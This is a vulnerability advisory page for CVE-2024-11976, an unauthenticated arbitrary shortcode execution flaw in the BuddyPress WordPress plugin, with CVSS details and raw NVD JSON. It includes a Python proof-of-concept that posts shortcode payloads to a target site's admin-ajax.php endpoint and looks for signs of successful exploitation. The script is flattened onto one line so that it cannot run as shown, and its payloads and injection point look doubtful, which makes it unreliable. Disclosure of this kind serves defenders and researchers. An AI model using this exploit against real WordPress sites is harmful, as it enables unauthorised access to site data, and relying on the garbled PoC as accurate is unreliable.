Security Vulnerability Report
中文
CVE-2024-11976 CVSS 7.3 HIGH

CVE-2024-11976

Published: 2026-01-23 07:15:52
Last Modified: 2026-04-15 00:35:42

Description

The The BuddyPress plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 14.3.3. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

BuddyPress 所有版本 <= 14.3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2024-11976 PoC - BuddyPress Arbitrary Shortcode Execution # This PoC demonstrates the arbitrary shortcode execution vulnerability in BuddyPress <= 14.3.3 import requests import sys target_url = input("Enter target URL: ").rstrip('/') # Target endpoint - BuddyPress messages AJAX handler ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Malicious shortcode payloads payloads = [ # Information disclosure "[wp_privacy_core_table]", # Contact form extraction (if Contact Form 7 is installed) "[contact-form-7 id=\"1\" title=\"Test\"]", # Arbitrary shortcode execution "{[insert page id=1]}", ] headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } for payload in payloads: # Construct the exploit request data = { "action": "messages_get_thread_messages", "thread_id": f"1{payload}", # Inject shortcode in thread_id parameter } try: print(f"[*] Testing payload: {payload}") response = requests.post(ajax_endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response length: {len(response.text)} bytes") # Check for successful exploitation indicators if "form" in response.text.lower() or "table" in response.text.lower(): print("[!] Potential exploitation detected - check response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] Note: This is a proof-of-concept. Actual exploitation may vary based on configuration.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-11976", "sourceIdentifier": "[email protected]", "published": "2026-01-23T07:15:51.857", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The The BuddyPress plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 14.3.3. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes."}, {"lang": "es", "value": "El plugin BuddyPress para WordPress es vulnerable a la ejecución arbitraria de shortcodes en todas las versiones hasta la 14.3.3, inclusive. Esto se debe a que el software permite a los usuarios ejecutar una acción que no valida correctamente un valor antes de ejecutar do_shortcode. Esto hace posible que atacantes no autenticados ejecuten shortcodes arbitrarios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/buddypress/tags/14.3.1/bp-templates/bp-nouveau/includes/messages/ajax.php#L232", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3259392%40buddypress%2Ftrunk&old=3199645%40buddypress%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/34c627c1-7838-468e-acb7-eb84ad1b4949?source=cve", "source": "[email protected]"}]}}